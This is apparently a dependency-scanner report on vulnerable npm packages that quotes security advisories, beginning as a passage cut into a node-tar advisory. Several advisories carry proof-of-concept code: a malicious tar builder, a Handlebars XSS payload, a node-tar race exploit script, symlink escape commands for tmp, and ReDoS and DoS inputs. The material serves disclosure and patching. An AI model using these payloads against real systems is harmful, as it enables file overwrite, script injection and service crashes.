body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
while True:
s = str(n).encode() + body
if len(s) == n: break
n = len(s)
return s
pax = pax_record('size', 2048) # malicious: claim size=2048 for the "next" entry
out = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0') + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0') + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.
End-to-end reproduction (against pinned version tar@7.5.15, latest release)
Install the published package into a clean project and parse both archives:
$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);
e2e.mjs:
import * as tar from 'tar'
async function listEntries(f){
const got=[], warns=[]
await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
onwarn:(code,_msg)=>warns.push(code) })
return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))Verbatim output:
=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===
[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
tar.list() entries : []
tar.list() warnings: ["TAR_ENTRY_INVALID"]
[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
tar.list() warnings: []
Reference parsers on the same pax-desync.tar:
$ tar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar
$ bsdtar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive
$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt'] # Python tarfile
Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).
Suggested fix
When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.
A fix PR is being prepared against a private fork and will be linked here.
Fix PR
To be linked from a private fork of the repository (the fix will not be pushed
to any public fork or to upstream during embargo).
Credits
Reported by tonghuaroot.
[ CVE-2026-45822 ] decode-uri-component 0.2.0
Vulnerability Details
| CVSS V3: | - |
| Dependency Path: | decode-uri-component: 0.2.0 (Transitive)Fix Version: 0.5.0 |
Impact
An attacker who can supply input to decodeUriComponent() (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact.
Patches
Upgrade to decode-uri-component@0.5.0.
Workarounds
Limit the size of the input.
[ CVE-2026-33916 ] handlebars 4.0.12
Vulnerability Details
| CVSS V3: | 4.7 |
| Dependency Path: | handlebars: 4.0.12 (Transitive)Fix Version: 4.7.9 |
Summary
resolvePartial() in the Handlebars runtime resolves partial names via a plain property lookup on options.partials without guarding against prototype-chain traversal. When Object.prototype has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS.
Description
The root cause is in lib/handlebars/runtime.js inside resolvePartial() and invokePartial():
// Vulnerable: plain bracket access traverses Object.prototype
partial = options.partials[options.name];hasOwnProperty is never checked, so if Object.prototype has been seeded with a key whose name matches a partial reference in the template (e.g. widget), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.
Prerequisites for exploitation:
- The target application must be vulnerable to prototype pollution (e.g. via
qs,minimist, or
any querystring/JSON merge sink). - The attacker must know or guess the name of a partial reference used in a template.
Proof of Concept
const Handlebars = require('handlebars');
// Step 1: Prototype pollution (via qs, minimist, or another vector)
Object.prototype.widget = '<img src=x onerror="alert(document.domain)">';
// Step 2: Normal template that references a partial
const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');
// Step 3: Render — XSS payload injected unescaped
const output = template({});
// Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div>The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value.
Workarounds
- Apply
Object.freeze(Object.prototype)early in application startup to prevent prototype pollution. Note: this may break other libraries. - Use the Handlebars runtime-only build (
handlebars/runtime), which does not compile templates and reduces the attack surface.
[ CVE-2026-2950 ] lodash 3.10.1
Vulnerability Details
| CVSS V3: | 5.3 |
Impact
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches
This issue is patched in 4.18.0.
Workarounds
None. Upgrade to the patched version.
[ CVE-2026-2950 ] lodash 2.2.1
Vulnerability Details
| CVSS V3: | 5.3 |
| Dependency Path: | lodash: 2.2.1 (Transitive)Fix Version: 4.18.0 |
Impact
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches
This issue is patched in 4.18.0.
Workarounds
None. Upgrade to the patched version.
[ CVE-2026-2950 ] lodash 4.17.11
Vulnerability Details
| CVSS V3: | 5.3 |
| Dependency Path: | lodash: 4.17.11 (Transitive)Fix Version: 4.18.0 |
Impact
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches
This issue is patched in 4.18.0.
Workarounds
None. Upgrade to the patched version.
[ CVE-2026-23950 ] tar 4.4.1
Vulnerability Details
| CVSS V3: | 5.9 |
| Dependency Path: | tar: 4.4.1 (Transitive)Fix Version: 7.5.4 |
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$ PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
---
[ CVE-2026-12590 ] body-parser 1.18.3
Vulnerability Details
| CVSS V3: | 5.9 |
| Dependency Path: | body-parser: 1.18.3 (Transitive)Fix Version: 1.20.6 |
Impact
When body-parser is configured with an invalid limit option value, such as an unparseable string or NaN, bytes.parse() returns null and the request body size check is silently skipped. Applications that rely on limit as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service.
This issue affects applications that pass a programmatically computed or user-configurable value to the limit option without validating it first.
Patches
This issue is fixed in body-parser@2.3.0 and body-parser@1.20.6 via #698. After the fix, invalid limit values throw a clear error at parser construction time instead of silently disabling enforcement. null and undefined continue to fall back to the default limit (100kb).
Workarounds
Validate limit before passing it to body-parser. For example, parse the value with bytes.parse() at startup and reject any configuration where it returns null or a non-finite number.
References
[ CVE-2025-54798 ] tmp 0.0.33
Vulnerability Details
| CVSS V3: | 5.3 |
| Dependency Path: | tmp: 0.0.33 (Transitive)Fix Version: 0.2.4 |
Summary
tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
Details
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: raszi/node-tmp#207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the
tmpDirthat points to a directory outside of it
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir- check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"- run the poc
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".- the temporary file is created under
$HOME/mydir1(outside thetmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}Impact
Arbitrary temporary file / directory write via symlink
[ CVE-2025-15284 ] qs 6.5.2
Vulnerability Details
| CVSS V3: | 3.7 |
| Dependency Path: | qs: 6.5.2 (Transitive)Fix Version: 6.14.1 |
Summary
The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.
Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly.
Details
The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).
Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
obj = utils.combine([], leaf); // No arrayLimit check
}Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) { // Limit checked here
obj = [];
obj[index] = leaf;
}The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.
PoC
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length); // Output: 6 (should be max 5)Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.
Impact
Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.
[ CVE-2025-13465 ] lodash 4.17.11
Vulnerability Details
| CVSS V3: | 5.3 |
| Dependency Path: | lodash: 4.17.11 (Transitive)Fix Version: 4.17.23 |
Impact
Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.
The issue permits deletion of properties but does not allow overwriting their original behavior.
Patches
This issue is patched on 4.17.23.
[ CVE-2024-47764 ] cookie 0.3.1
Vulnerability Details
| CVSS V3: | - |
| Dependency Path: | cookie: 0.3.1 (Transitive)Fix Version: 0.7.0 |
Impact
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.
A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.
Patches
Upgrade to 0.7.0, which updates the validation for name, path, and domain.
Workarounds
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.
References
[ CVE-2024-4067 ] micromatch 2.3.11
Vulnerability Details
| CVSS V3: | 5.3 |
| Dependency Path: | micromatch: 2.3.11 (Transitive)Fix Version: 4.0.8 |
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to micromatch/micromatch#266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
[ CVE-2024-4067 ] micromatch 3.1.10
Vulnerability Details
| CVSS V3: | 5.3 |
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to micromatch/micromatch#266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
[ CVE-2024-36751 ] parseuri 0.0.5
Vulnerability Details
| CVSS V3: | 6.5 |
| Dependency Path: | parseuri: 0.0.5 (Transitive)Fix Version: 3.0.1 |
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
PoC
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
```<br></details>
<details><summary><b>[ CVE-2024-28863 ] tar 4.4.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.5 |
| **Dependency Path:** | <details><summary><b>tar: 4.4.1 (Transitive)</b></summary>Fix Version: 7.5.21<br></details> |
GHSA-r292-9mhp-454m:
## Summary
`node-tar` (npm `tar`) contains an uncontrolled-recursion stack-exhaustion DoS in the internal `mapHas` helper used by `filesFilter`. When a consumer calls `tar.t(...)` or `tar.x(...)` with a non-empty member-selection list, node-tar installs a filter that closes over the recursive `mapHas` (`src/list.ts:33-44`). `mapHas` walks an entry path upward one `path.dirname()` call per recursion **with no segment cap**. A single crafted tar with a GNU-`L` (or PAX-`x`) long-path header can deliver a path of tens of thousands of `/`-separated segments (up to `maxMetaEntrySize` = 1 MiB). The recursion overflows the call stack, throwing an uncatchable `RangeError` that terminates the Node process on async/streaming consumers.
## Root Cause
`filesFilter` (`src/list.ts:27-51`) is installed whenever a caller passes a member-selection list (`src/list.ts:119-122`, `src/extract.ts:55-57`). Its filter is invoked at `src/parse.ts:253` (`entry.ignore = entry.ignore || !this.filter(entry.path, entry)`) inside `Parser[CONSUMEHEADER]` — and crucially **outside** the only try/catch in that method (which wraps `new Header` at `src/parse.ts:179-183`). `mapHas` recurses once per path segment with no depth limit. The `Unpack` `maxDepth` guard (`src/unpack.ts:342`, in `[CHECKPATH]`) only runs on the `'entry'` event, which fires *after* `CONSUMEHEADER` has already invoked the filter — so the stack overflows before any depth guard executes. `tar.t` (list) has no `maxDepth` at all.
## Impact
Unauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (≈26 KB tar) crashes any service that lists or extracts *selected members* from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (`await tar.t(...)`/`tar.x(...)`) and streaming/`pipe` consumers the `RangeError` escapes the promise as an `uncaughtException` and terminates the process — standard defensive `try/catch` around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths — the dominant server pattern — are not.)
## Proof of Concept
```js
// Build a tar whose single entry has a GNU-L long path of ~12,000 "a/" segments (~26 KB),
// gzip it (≈188 bytes), then have a consumer list/extract with member selection:
const tar = require('tar');
await tar.t({ file: 'evil.tar.gz', gzip: true }, ['some-member']); // -> RangeError, process exitEmpirically reproduced on Node v24.18.0 against built dist/commonjs of node-tar 7.5.20: 188-byte gzip → 26,112-byte tar (12,000 segments) → uncaught RangeError: Maximum call stack size exceeded → process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating mapHas as the sole cause.
Attack Chain
- Entry. Attacker crafts a tar with a GNU
L(or PAXx) long-path header whose body is"a/"×~12000 (~26 KB), followed by a normal file entry.- Guard:
maxMetaEntrySizecaps the meta body at 1 MiB (src/parse.ts:241). - Bypass proof: 26 KB ≪ 1 MiB → accepted (verified: 26 KB archive parsed up to the filter).
- Guard:
- Trigger. Victim service calls
tar.t({file},[sel])ortar.x({file,cwd},[sel])(member selection — a documented, common API).- Guard:
Unpack.maxDepth(default 1024) atsrc/unpack.ts:342; decompression-ratio guard. - Bypass proof:
maxDepthlives in[CHECKPATH]on the'entry'event, which fires afterCONSUMEHEADER's filter call — the crash occurs before it (extract exits 1 with default maxDepth).tar.thas no maxDepth. Ratio is ~139× (trivial); no total-bytes cap applies to the uncompressed meta body.
- Guard:
- Sink.
this.filter(entry.path)→mapHasrecurses once per/segment (src/list.ts:39).- Guard: try/catch in
CONSUMEHEADER. - Bypass proof: the only try/catch wraps
new Header(src/parse.ts:179-183); thethis.filter(...)call atsrc/parse.ts:253is outside it. TheRangeErrorpropagates out of the stream write/'data'path → uncaught exception (verified:process.on('uncaughtException')fires; asyncawait+try/catchdoes NOT intercept).
- Guard: try/catch in
- Impact. Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.
Bypass Evidence
mapHasrecursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path — the attacker only needs the consumer to use member selection.- Standalone
mapHasoverflows at 20k–30k segments; on the real streaming path (atopwrite → CONSUMECHUNK → CONSUMEHEADER → filter) it crashes at ≤8k segments (finder's ~12k estimate is accurate for the reachable path). - Control (no member list → no filter) parses cleanly (exit 0), isolating
mapHas.
Affected Versions
<= 7.5.20 (npm tar). mapHas present verbatim on tag v7.5.20 (latest GitHub release and npm dist-tag latest); no segment/depth cap in src/list.ts or the CONSUMEHEADER filter path; HEAD == 7.5.20, no unreleased fix.
Suggested Fix
Rewrite mapHas iteratively (walk dirname in a while loop with a segment/visited cap), or enforce a hard path-segment limit in Header/Parser independent of maxMetaEntrySize, applied before any per-entry filter runs.
Dedup Note
Distinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j "lack of folders depth validation" (that bounds mkdir recursion during extraction via maxDepth in Unpack[CHECKPATH] on the 'entry' event — a different sink, code path, and fix; runs after the filter and does not apply to tar.t). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch list.ts/filesFilter/mapHas or require member selection.
Reported by zx (Jace) — GitHub: @manus-use
GHSA-f5x3-32g6-xq36:
Description:
During some analysis today on npm's node-tar package I came across the folder creation process, Basicly if you provide node-tar with a path like this ./a/b/c/foo.txt it would create every folder and sub-folder here a, b and c until it reaches the last folder to create foo.txt, In-this case I noticed that there's no validation at all on the amount of folders being created, that said we're actually able to CPU and memory consume the system running node-tar and even crash the nodejs client within few seconds of running it using a path with too many sub-folders inside
Steps To Reproduce:
You can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video
Proof Of Concept:
Here's a video show-casing the exploit:
Impact
Denial of service by crashing the nodejs client when attempting to parse a tar archive, make it run out of heap memory and consuming server CPU and memory resources
Report resources
Note
This report was originally reported to GitHub bug bounty program, they asked me to report it to you a month ago
[ CVE-2024-28849 ] follow-redirects 1.5.9
Vulnerability Details
| CVSS V3: | 6.5 |
| Dependency Path: | follow-redirects: 1.5.9 (Transitive)Fix Version: 1.15.6 |
When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.
Steps To Reproduce & PoC
Test code:
const axios = require('axios');
axios.get('http://127.0.0.1:10081/', {
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
})
.then((response) => {
console.log(response);
})When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.
Impact
This vulnerability may lead to credentials leak.
Recommendations
Remove proxy-authentication header during cross-domain redirect
Recommended Patch
- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);
```<br></details>
<details><summary><b>[ CVE-2023-28155 ] request 2.88.0</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.1 |
| **Dependency Path:** | <details><summary><b>request: 2.88.0 (Transitive)</b></summary><br></details> |
The `request` package through 2.88.2 for Node.js and the `@cypress/request` package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: The `request` package is no longer supported by the maintainer.<br></details>
<details><summary><b>[ CVE-2023-26159 ] follow-redirects 1.5.9</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.1 |
| **Dependency Path:** | <details><summary><b>follow-redirects: 1.5.9 (Transitive)</b></summary>Fix Version: 1.15.4<br></details> |
Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.<br></details>
---
<div align='center'>
[🐸 JFrog Frogbot](https://jfrog.com/help/r/jfrog-security-user-guide/shift-left-on-security/frogbot)
</div>
📦 Vulnerable Dependencies🔖 Details[ CVE-2022-41940 ] engine.io 1.8.5Vulnerability Details
ImpactA specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process. This impacts all the users of the PatchesA fix has been released today (2022/11/20):
For
WorkaroundsThere is no known workaround except upgrading to a safe version. For more informationIf you have any questions or comments about this advisory:
Thanks to Jonathan Neve for the responsible disclosure. [ CVE-2022-21704 ] log4js 0.6.38Vulnerability Details
ImpactDefault file permissions for log files created by the file, fileSync and dateFile appenders are world-readable (in unix). This could cause problems if log files contain sensitive information. This would affect any users that have not supplied their own permissions for the files via the mode parameter in the config. PatchesFixed by:
Released to NPM in log4js@6.4.0 WorkaroundsEvery version of log4js published allows passing the mode parameter to the configuration of file appenders, see the documentation for details. ReferencesThanks to ranjit-git for raising the issue, and to @lamweili for fixing the problem. For more informationIf you have any questions or comments about this advisory:
[ CVE-2022-0536 ] follow-redirects 1.5.9Vulnerability Details
Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8. [ CVE-2022-0437 ] karma 0.13.22Vulnerability Details
Cross-site Scripting (XSS) - DOM in NPM karma prior to 6.3.14. [ CVE-2022-0155 ] follow-redirects 1.5.9Vulnerability Details
